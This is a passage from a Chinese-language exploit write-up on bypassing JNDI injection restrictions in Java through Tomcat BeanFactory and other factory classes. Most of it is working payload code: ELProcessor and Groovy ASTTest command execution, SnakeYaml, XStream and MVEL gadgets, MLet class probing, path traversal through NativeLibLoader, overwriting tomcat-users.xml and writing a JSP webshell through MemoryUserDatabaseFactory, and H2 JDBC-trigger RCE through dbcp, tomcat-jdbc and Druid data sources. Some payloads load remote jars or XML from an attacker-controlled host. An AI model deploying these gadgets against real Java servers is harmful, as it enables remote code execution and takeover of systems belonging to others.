ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null,
null, null, true,
"org.apache.naming.factory.BeanFactory", null);
// 注意等号后面是setter名、前面是属性名,属性名需要避开factory、scope、auth、forceString、singleton
ref.add(new StringRefAddr("forceString", "expr=eval"));
ref.add(new StringRefAddr("expr", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName('js').eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"touch /tmp/jndi_bypass\").getInputStream()).useDelimiter(\"\\\\A\").next();')"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Test", referenceWrapper);
构造ResourceRef需要对照其构造方法:
这里我们实际只需要传入对应的beanClass也就是参数中的resourceClass了和对应的Factory,这个参数会被传递给Reference构造方法。
然后我们试一下:new InitialContext().lookup("rmi://127.0.0.1/Test");
,发现成功执行命令:
Tomcat-Groovy绕过方式
这里实际上来说使用
groovy.lang.GroovyShell#evaluate
会更好,不过这个的利用就和上面差不多了,没有写的必要了。
根据上面的BeanFactory绕过方式,我们其实要求比较明确:
- 拥有无参构造方法
- 可以通过一个String参数的方法进而RCE
那么这样的类理论上是应该不止ELProcessor的;而GroovyClassLoader就是一个,通过官方文档我们能够知道,GroovyClassLoader提供了一个parseClass(String)
的方法,用于将传入的groovy类解析为一个Class对象返回;同时它还拥有一个无参构造方法。
但是这个的利用还是稍微有点不同,需要知道的是Groovy类被解析为Class对象时,其内部的static块不会被调用,因此我们需要一种编译时运行的技术,而Groovy为我们很贴心地提供了AST检测,即@ASTTest
,它允许我们在编译时执行代码对AST进行验证,自然,我们也可以通过它执行任意代码了:
@groovy.transform.ASTTest(value = {
java.lang.Runtime.getRuntime().exec("touch /tmp/jndi_bypass_groovy")
})
class Test{}
那么构造如下:
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null,
null, null, true,
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "script=parseClass"));
ref.add(new StringRefAddr("script", "@groovy.transform.ASTTest(value = {\n" +
" java.lang.Runtime.getRuntime().exec(\"touch /tmp/jndi_bypass_groovy\")\n" +
"})\n" +
"class Test{}"));
Registry registry = LocateRegistry.createRegistry(1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Test", referenceWrapper);
测试一下:new InitialContext().lookup("rmi://127.0.0.1/Test");
,成功执行:
从BeanFactory的扩展
上面的Tomcat-ELProcessor绕过方式和Tomcat-Groovy绕过方式实际上都是依赖于tomcat依赖中的BeanFactory,而能打的条件我们也说了,那么还有没有其他能利用的类呢?
事实上通过Codeql可以帮助我们进行挖掘,而浅蓝师傅已经发出了一些绕过的方式:
MLet
javax.management.loading.MLet
是JDK自带的,它继承于URLClassLoader,并且拥有一个addURL(String)
和loadClass(String)
方法,也就相当于使用URLClassLoader去加载类了;不过ClassLoader#loadClass
实际上无法触发静态块代码,因此实际无法RCE。
但是可以用来做探测,如果loadClass
成功了,则会进行后续的执行,否则抛出异常,中断过程,利用这个就可以做gadget的探测了:
private static ResourceRef tomcatMLet() {
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Blue"));
return ref;
}
只要通过观察远程访问的记录,即可确定是否存在类。
SnakeYaml
从SnakeYaml反序列化漏洞分析中我们其实能很好的发现它满足了一切要求:
- Yaml类拥有无参构造方法
- load方法传入一个String,造成SnakeYaml反序列化漏洞的利用
private static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}
XStream
我们再推广一下,会发现XStream的反序列化也符合:
private static ResourceRef tomcat_xstream(){
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
return ref;
}
MVEL
除了类似SnakeYaml、XStream这种入口就符合条件的,还有一些不太符合条件的;例如MVEL,构造方法为私有的,不过可以通过org.mvel2.sh.ShellSession#exec(String)
去调用MVEL#eval
:
private static ResourceRef tomcat_MVEL(){
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
return ref;
}
这是因为在push
时,会通过MVEL.eval(args[0], session.getCtxObject(), session.getVariables())
执行表达式。
NativeLibLoader
这个配合上传可以加载我们的动态库,从而RCE:
private static ResourceRef tomcat_loadLibrary(){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
return ref;
}
从工厂类扩展
MemoryUserDatabaseFactory
这是另一个Tomcat的工厂类,看它的方法:
这里会有一个database.open()
方法,而这个方法会根据pathname
转换成URI并发起请求,并使用commons-digester
解析返回的XML内容,因此这里实际上可以实现一个XXE:
private static ResourceRef tomcatMemoryXXE() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/exp.xml"));
}
但是如何RCE呢?在解析XML前有这么一段代码:
digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
这里会根据xml解析的结果去进行数据填充,在数据库open后,还会判断readonly然后保存。
这里的分析详情就直接见MemoryUserDatabase RCE吧。
有一定的限制,通用的办法是通过这里去覆盖Tomcat的配置或者写jsp文件:
private static ResourceRef tomcatMkdirFrist() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:"));
return ref;
}
private static ResourceRef tomcatMkdirLast() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
return ref;
}
private static ResourceRef tomcatManagerAdd() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
这里需要依次创建文件夹,然后返回的xml其实就是tomcat的tomcat-users.xml
:
在上面的基础上写Webshell:
private static ResourceRef tomcatWriteFile() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
准备的xml(当然在这里应该让test.jsp返回这个xml):
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); %>"/>
</tomcat-users>
dbcp
还可以将思路再打开一点,我们可以通过Datasource工厂,来创建对应的JDBC连接。
例如dbcp,在工厂类中,进入 org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#configureDataSource
方法最后一段代码写了当 InitialSize > 0 的时候会调用 getLogWriter 方法,那么在这里就会创建数据库连接:
public PrintWriter getLogWriter() throws SQLException {
return this.createDataSource().getLogWriter();
}
给出四种不同的工厂类:
private static Reference tomcat_dbcp2_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
}
private static Reference tomcat_dbcp1_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
}
private static Reference commons_dbcp2_RCE(){
return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
}
private static Reference commons_dbcp1_RCE(){
return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}
这样就转换成了JDBC。
Tomcat-JDBC
如果没有dbcp呢?其实还有org.apache.tomcat.jdbc.pool.DataSourceFactory
,这个的利用也是差不多的:
private static Reference tomcat_JDBC_RCE(){
return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}
Druid
当然了,使用Druid也是一样的:
private static Reference druid(){
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
return ref;
}
LDAP javaSerializedData绕过
这个其实没什么好讲的,就是反序列化攻击的方向,搭建LDAP服务,返回的属性中添加javaSerializedData为序列化数据,然后就会反序列化了,核心还是链子的构造问题。